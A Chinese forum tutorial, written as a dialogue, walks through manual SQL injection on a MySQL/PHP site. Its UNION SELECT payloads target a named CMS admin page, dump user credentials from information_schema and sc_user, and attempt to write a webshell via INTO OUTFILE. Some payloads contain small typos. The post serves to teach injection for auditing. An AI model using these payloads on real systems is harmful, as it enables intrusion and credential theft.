代码审计入门教学(三)
代码审计入门教学(三)小白:“我们主要是以mysql和php环境下的SQL注入,SQL手工注入的步骤可以分为:
① 判断是否存在注入;
② 判断注入类型,分为整数型和字符型;
③ 判断字段数;
④ 判断数据库版本是否大于5.0;
⑤ 获取当前数据库;
⑥ 获取当前数据库存在的表;
⑦ 获取表存在的字段;
⑧ 获取表内的数据;
⑨ 写入webshell,如果当前用户是root账号,并且存在硬盘读取权限的话。”
仔仔:“那我如何判断是否存在注入呢?”
小白:“不急,且听我细细道来。我们先在浏览器打开上次发现的可以手工注入的链接:
小白:“如何判断注入类型的方法上次也讲了,我们接着讲第三步骤,判断字段数,判断字段数有两种方法,order by和联合查询,联合查询也可分为union select和union all select。当然啦,我这里只是讲常用的两种方法,如果有其他大牛有其他方法,那得好好讨教才行。”
仔仔:“那这两种方法有什么区别呢?”
小白:“个人拙见是order by可以使用二分法快速获取到具体字段数,联合查询比较笨,要一个一个数的猜,直到字段数匹配。”
接下来开始实施:
Lgid=1 order by 10
试了下,从1到10都没检测出来,换成联合查询判断。
说到这里,不得不说下mysql的注释符,mysql的注释符有:
#(url编码是23%)
--(一般和加号一起,--+)
/**/
//
……
小白:“获取到字段数后,判断数据库版本,可以用version()函数判断。”
仔仔:“为什么要判断数据库版本是不是大于5.0呢?”
小白:“这个我也刚刚准备和你说,要判断数据库版本大于5.0主要是因为mysql5.0以上的版本存在一个默认数据库information_schema,这个数据库存放了数据库所有数据库的表名和字段信息,关于这个数据库更多的信息可以去搜索下。接下来是获取当前数据库,可以用mysql内置函数database()获取。”
仔仔:“这挺简单的。”
小白:“知道当前数据库后接下来获取表名,这个有三种获取方法:
① Table_schema=database();
② Table_schema=’xxxdb’
③ Table_schema=xxxdb的十六进制。这三种方法可以灵活应用,过滤单引号的时候可以用①和③”
lgid=1 union select1,2,3,4,5,6,table_name database() from information_schema.tables wheretable_schema=database()#
可以看到有一些表:
这样子获取表名可能存在重复,mysql有一个关键字distinct可以去除重复。
lgid=1 union select distinct 1,2,3,4,5,6,table_name from information_schema.tables wheretable_schema=database()#
也可以使用mysql数据库字符串拼接函数group_concat()拼接字符。
lgid=1 union select1,2,3,4,5,6,group_concat(distinct table_name) from information_schema.tableswhere table_schema=database()#
可以看到有以下这些表:
sc_banner,sc_categories,sc_config,sc_download,sc_images,sc_info,sc_language,sc_link,sc_menu,sc_msg,sc_products,sc_tagandseo,sc_user
小白:“Mysql还有其他字符串拼接函数,这里就不一一列举了,仔仔你有兴趣就搜索学习。”
仔仔:“好咧!”
小白:“知道表了,接下来获取表的字段,用的是information_schema.columns表,columns和tables顾名思义是字段s和表s,columns可以获取到table_name,但tables不能获取到column_name。接下来我们获取sc_user表的字段试试。”
lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name=0x73635f75736572#
或者lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name='sc_user'#
可以看到有以下字段:
ID,user_name,user_admin,user_ps,user_tel,user_qx,user_time,user_email,user_rzm
小白:“获取到表的字段后就可以获取表的数据了。”
http://www.yuesec.com/rifj_Admin/xxxCMS_Banner.php?lgid=1union select 1,2,3,4,5,6,group_concat(distinct ID,user_name,user_admin,user_qx)from sc_user#
小白:“好,获取到用户表的用户名和密码后就可以登录后台了,如果存在上传漏洞就可以getshell,一般数据库当前用户是普通用户注入到这里就结束了。如果当前数据库用户是root,且对磁盘可读可写的话可以通过into outfile进行getshell。要通过数据库写shell的话还需要知道网站的存放物理路径,可以通过@@datadir获取到数据库的物理路径,如果使用的是wamp或者lampp就万事大吉了,因为wamp和lampp网站目录比较固化。如果不是集成工具部署网站环境的话,只能通过物理路径泄露漏洞获取,或者通过load_file()函数读取服务器上的文件猜测网站存放路径了。”
lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) from sc_user#
lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir)into outfile ‘D:\\phpstudy\\www\\test.php’#
写入不成功,这在意料之中,因为当前用户不是root用户,没有磁盘读写权限。
lgid=1 union select 1,2,3,4,5,6,group_concat(distinctuser())#
第一条\\是在windows环境下使用,如果是linux只需要一个\就可以,如果第一条不行,可以试试第二条。
页:
[1]